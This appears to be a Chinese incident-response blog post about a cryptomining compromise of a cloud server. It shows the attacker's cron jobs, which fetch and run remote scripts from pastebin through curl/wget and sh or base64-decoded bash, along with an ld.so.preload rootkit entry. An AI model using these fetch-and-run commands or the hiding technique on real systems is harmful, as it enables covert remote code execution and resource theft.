這篇文章將為大家詳細(xì)講解有關(guān)如何進(jìn)行服務(wù)器被用來(lái)挖礦的異常問(wèn)題處理,文章內(nèi)容質(zhì)量較高,因此小編分享給大家做個(gè)參考,希望大家閱讀完這篇文章后對(duì)相關(guān)知識(shí)有一定的了解。
成都創(chuàng)新互聯(lián)網(wǎng)站建設(shè)服務(wù)商,為中小企業(yè)提供網(wǎng)站設(shè)計(jì)制作、網(wǎng)站建設(shè)服務(wù),網(wǎng)站設(shè)計(jì),網(wǎng)站托管維護(hù)等一站式綜合服務(wù)型公司,專(zhuān)業(yè)打造企業(yè)形象網(wǎng)站,讓您在眾多競(jìng)爭(zhēng)對(duì)手中脫穎而出成都創(chuàng)新互聯(lián)。公司一臺(tái)阿里云ECS服務(wù)器分配給某團(tuán)隊(duì)的開(kāi)發(fā)人員拿去做開(kāi)發(fā)測(cè)試機(jī),不幸被人利用redis漏洞黑入把服務(wù)器用來(lái)挖礦了。下面是處理過(guò)程:
基本情況:
由于是開(kāi)發(fā)測(cè)試機(jī),分配之后全權(quán)給開(kāi)發(fā)人員使用了,且直接給的root賬號(hào)。觀察到該ECS的CPU占用異常,好幾天都是100%,同時(shí)今天收到阿里云的安全告警說(shuō)該ECS疑似有挖礦程序。
初步核查:
1、CPU占用一直在99%~100%,但top查看不到高占用的進(jìn)程;
2、root用戶(hù)下發(fā)現(xiàn)來(lái)歷不明的定時(shí)任務(wù)且刪除后隔幾分鐘還是會(huì)自動(dòng)添加。
[root@dev cron.d]# crontab -l
*/23 * * * *(curl -fsSL https://pastebin.com/raw/1NtRkBc3||wget -q -O- https://pastebin.com/raw/1NtRkBc3)|sh
##
[root@dev cron.d]#
處理過(guò)程:
1、首先修改了root賬號(hào)的密碼,并禁用了SSH的root登陸配置;
然后參考網(wǎng)上資料進(jìn)行了如下處理:
(注意:清理前最好與正常的系統(tǒng)對(duì)比一下,確認(rèn)哪些是正常系統(tǒng)不會(huì)有的)
2、處理來(lái)歷不明的定時(shí)任務(wù)
一開(kāi)始只用crontab -e刪除,但發(fā)現(xiàn)幾分鐘后又有了,所以肯定還有別的配置,后面依次排查了/etc/cron*目錄和/var/spool/cron/root等處,與正常系統(tǒng)對(duì)比確認(rèn)后,全部刪除,觀察半小時(shí)以上,終于確認(rèn)干掉了來(lái)歷不明的定時(shí)任務(wù)。
[root@dev cron.d]# crontab -l
*/23 * * * *(curl -fsSL https://pastebin.com/raw/1NtRkBc3||wget -q -O- https://pastebin.com/raw/1NtRkBc3)|sh
##
[root@dev cron.d]#
[root@dev cron.d]# grep curl *
apache:*/17 * * * * root (curl -fsSL https://pastebin.com/raw/1NtRkBc3||wget -q -O- https://pastebin.com/raw/1NtRkBc3)|sh
root:*/10 * * * * root (curl -fsSL https://pastebin.com/raw/1NtRkBc3||wget -q -O- https://pastebin.com/raw/1NtRkBc3)|sh
[root@dev cron.d]#
[root@dev cron.daily]# ll
total 12
-rwx------ 1 root root 180 Jul 10 2003 logrotate
-rwx------ 1 root root 927 Mar 22 2017 makewhatis.cron
-rwxr-xr-x 1 root root 116 Mar 23 2017 oanacroner
[root@dev cron.daily]# grep curl *
oanacroner:(curl -fsSL https://pastebin.com/raw/tRxfvbYN || wget -q -O- https://pastebin.com/raw/tRxfvbYN)|base64 -d |/bin/bash
[root@dev cron.daily]# pwd
/etc/cron.daily
[root@dev cron.daily]# ll /etc/cron.daily/oanacroner
-rwxr-xr-x 1 root root 116 Mar 23 2017 /etc/cron.daily/oanacroner
[root@dev cron.daily]#
[root@dev log]# ll /var/spool/cron/root
-rw-r--r-- 1 root root 113 Mar 23 2017 /var/spool/cron/root
[root@dev log]# cat /var/spool/cron/root
*/23 * * * *(curl -fsSL https://pastebin.com/raw/1NtRkBc3||wget -q -O- https://pastebin.com/raw/1NtRkBc3)|sh
##
[root@dev log]#
[root@dev cron.d]# ll /var/spool/cron/crontabs/root
-rw-r--r-- 1 root root 113 Mar 23 2017 /var/spool/cron/crontabs/root
[root@dev cron.d]# cat /var/spool/cron/crontabs/root
*/31 * * * *(curl -fsSL https://pastebin.com/raw/1NtRkBc3||wget -q -O- https://pastebin.com/raw/1NtRkBc3)|sh
##
[root@dev cron.d]#
[root@dev cron.d]# date;crontab -l
Wed Oct 10 10:35:19 CST 2018
no crontab for root
[root@dev cron.d]#
[root@dev cron.hourly]# ll
total 8
-rwxr-xr-x 1 root root 409 Aug 24 2016 0anacron
-rwxr-xr-x 1 root root 116 Mar 23 2017 oanacroner
[root@dev cron.hourly]# grep curl *
oanacroner:(curl -fsSL https://pastebin.com/raw/tRxfvbYN || wget -q -O- https://pastebin.com/raw/tRxfvbYN)|base64 -d |/bin/bash
[root@dev cron.hourly]# pwd
/etc/cron.hourly
[root@dev cron.hourly]#
[root@dev etc]# cd cron.monthly
[root@dev cron.monthly]# ll
total 4
-rwxr-xr-x 1 root root 116 Mar 23 2017 oanacroner
[root@dev cron.monthly]# grep curl *
(curl -fsSL https://pastebin.com/raw/tRxfvbYN || wget -q -O- https://pastebin.com/raw/tRxfvbYN)|base64 -d |/bin/bash
[root@dev cron.monthly]# pwd
/etc/cron.monthly
[root@dev cron.monthly]#
3、清理異常的文件
首先嘗試解決top命令查看不到大量占用CPU的異常進(jìn)程的問(wèn)題
參考網(wǎng)上資料,發(fā)現(xiàn)此處文件很可疑(正常系統(tǒng)不存在這個(gè)文件):
[root@dev tmp]# cd /usr/local/lib/
[root@dev lib]# ls
libdns.so
[root@dev lib]# ll
total 12
-rwxr-xr-x 1 root root 9436 Mar 23 2017 libdns.so
[root@dev lib]# pwd
/usr/local/lib
[root@dev lib]#
刪除后top查看
kill掉大量占用CPU的2個(gè)異常進(jìn)程的PID后,系統(tǒng)CPU占用很快就恢復(fù)正常了。
解決圖中的報(bào)錯(cuò):
ERROR: ld.so: object '/usr/local/lib/libdns.so' from /etc/ld.so.preload cannot be preloaded: ignored.
ERROR: ld.so: object '/usr/local/lib/libdns.so' from /etc/ld.so.preload cannot be preloaded: ignored.
[root@dev lib]# ll /etc/ld.so.preload
ERROR: ld.so: object '/usr/local/lib/libdns.so' from /etc/ld.so.preload cannot be preloaded: ignored.
ERROR: ld.so: object '/usr/local/lib/libdns.so' from /etc/ld.so.preload cannot be preloaded: ignored.
-rw-r--r-- 1 root root 50 Mar 23 2017 /etc/ld.so.preload
[root@dev lib]# vi /etc/ld.so.preload
ERROR: ld.so: object '/usr/local/lib/libdns.so' from /etc/ld.so.preload cannot be preloaded: ignored.
ERROR: ld.so: object '/usr/local/lib/libdns.so' from /etc/ld.so.preload cannot be preloaded: ignored.
[root@dev lib]# vi /etc/ld.so.preload
[root@dev lib]# ll /etc/ld.so.preload
-rw-r--r-- 1 root root 0 Oct 10 11:53 /etc/ld.so.preload
[root@dev lib]# rm -f /etc/ld.so.preload
[root@dev lib]# ll /etc/ld.so.preload
ls: cannot access /etc/ld.so.preload: No such file or directory
[root@dev lib]#
刪除/etc/ld.so.preload后上面的報(bào)錯(cuò)就沒(méi)了。
后面繼續(xù)排查,使用chkconfig --list發(fā)現(xiàn)有異常的開(kāi)機(jī)啟動(dòng)服務(wù)netdns,根據(jù)名字的相關(guān)性,合計(jì)查到下面的文件都是異常的,與正常系統(tǒng)對(duì)比后刪除。
/bin/dns
/usr/sbin/netdns
/etc/init.d/netdns(/etc/rc.d/init.d/netdns)
此外還有/tmp目錄下的一些文件
關(guān)于如何進(jìn)行服務(wù)器被用來(lái)挖礦的異常問(wèn)題處理就分享到這里了,希望以上內(nèi)容可以對(duì)大家有一定的幫助,可以學(xué)到更多知識(shí)。如果覺(jué)得文章不錯(cuò),可以把它分享出去讓更多的人看到。